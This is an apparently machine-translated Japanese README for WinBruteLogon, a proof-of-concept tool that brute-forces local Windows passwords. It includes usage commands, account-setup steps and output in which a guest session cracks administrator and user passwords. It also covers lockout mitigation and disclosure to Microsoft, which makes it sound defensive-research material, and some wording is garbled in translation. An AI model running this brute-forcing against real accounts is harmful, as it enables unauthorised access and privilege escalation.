通知1:現在のツールがPowerShellバージョンに移植されたことを発表できることを楽しみにしています。これは、ユーザーがPowerShellコマンドラインからツールに直接アクセスして使用できるようになり、使用するのがさらに便利で効率的になることを意味します。この新しいバージョンは、ユーザーの利益をもたらし、ツールの経験を向上させると考えています。継続的なサポートをありがとうございます。新しいPowerShellバージョンをお楽しみください:https://github.com/darkcodersc/power-brute-logon
通知2:最近、MicrosoftがWindowsの最新および最新のバージョンでデフォルトでアカウントのロックダウンポリシーを有効にしたことを学びました。このポリシーは、特定の数のログイン試行の試行が失敗した後にアカウントをロックすることにより、システムを保護するのに役立ちます。これは有益なセキュリティ尺度ですが、これらのシステムでは概念実証(POC)が非効率的になります。
リリース日: 2020-05-14
ターゲット:Windows XPから最新のWindows10バージョン(1909)
弱点の場所: LogonUserA 、 LogonUserW 、 CreateProcessWithLogonA 、 CreateProcessWithLogonW
WinBruteLogon.exe -u <username> -w <wordlist_file>
type <wordlist_file> | WinBruteLogon.exe -u <username> -
Win Brute Logonは、短時間で多数のパスワードの組み合わせを推測することにより、Microsoftアカウントに対するブルートフォース攻撃をシミュレートするように設計されています。これにより、ペンテスターはシステムのセキュリティ姿勢をテストし、ブルートフォース攻撃に対する防御を評価できます。このツールは、アカウントロックアウトメカニズムの欠如を活用します。これは、多くのシステムで一般的な弱点です(Windows 11でデフォルトでアカウントロックアウトが有効になる前)。アカウントのパスワードを推測しようとすることにより、このツールはペンテスターがセキュリティ対策の脆弱性を特定し、対処するのに役立ちます。責任を持って、そして法律の範囲内で使用する必要があります。
このデモンストレーションでは、仮想マシンまたは物理マシンにWindows 10の新鮮なバージョンをセットアップします。マシンがセットアップされたら、管理者としてログインします。次に、1つの管理者アカウントと1つの通常のユーザーアカウントの2つの異なるローカルアカウントを作成します。デモにゲストアカウントを使用しますが、この概念実証(POC)はゲストアカウントに限定されないことに注意してください。ゲスト、通常のユーザー、管理者ユーザーなど、アカウントまたはグループから使用できます。
net user darkcodersc /add
net user darkcodersc trousers (ズボンはパスワードです)
net localgroup administrators darkcodersc /add
net user HackMe /add
net user HackMe ozlq6qwm (ozlq6qwmはパスワードです)
net user GuestUser /add
net localgroup users GuestUser /delete
net localgroup guests GuestUser /add
私の場合、 trousersとozlq6qwm両方が隔離されています:https://github.com/danielmiessler/seclists/blob/master/passwords/common-credentials/10k-most-common.txt
デモンストレーションを開始するには、管理者アカウントからログオフするか、マシンを再起動してゲストアカウントにログインします。次に、ゲストユーザーとしてアクセスできる場所にPOC実行可能ファイルを配置します。
使用法: WinBruteLogon.exe -v -u <username> -w <wordlist_file>
-vはオプションであり、冗長モードを設計します。
デフォルトでは、ドメイン名は%USERDOMAIN% env varによって指定された値です。オプション-dを使用してカスタム名を指定できます
darkcodersc (管理者) PRONT(guest)> WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt
数秒待って、次の結果を確認してください。
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=2260, handle=364
[INFO] New "TWorker" Thread created with id=3712, handle=532
[DONE] Done.
[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated.
[INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
HackMe (通常のユーザー) PROMPT(guest)> WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt
数秒待って、次の結果を確認してください。
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=5748, handle=336
[INFO] New "TWorker" Thread created with id=4948, handle=140
[DONE] Done.
[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated.
[INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
「現実世界のシナリオでは、攻撃者が控えめなユーザーアカウントへのアクセスを獲得した場合、より特権ユーザーのパスワードをクラックして特権をエスカレートできる可能性があります。このリスクを軽減するには、取ることができるいくつかの手順があります。
セキュリティロックアウトポリシー(デフォルトでは有効にされていない)を実装するには、次の手順に従ってください。
ロックアウトポリシーは管理者アカウントには適用されないことに注意してください。この場合、管理者アカウントに最適な保護(有効になっている場合)は、非常に複雑なパスワードを設定することです。
この弱点を詳述するレポートは、Microsoft Securityチームに送信されました。デフォルトでアカウントロックアウトポリシーを有効にすることを検討する必要があります。」
(更新2022):アカウントロックアウトは、デフォルトで最終的に有効になりました。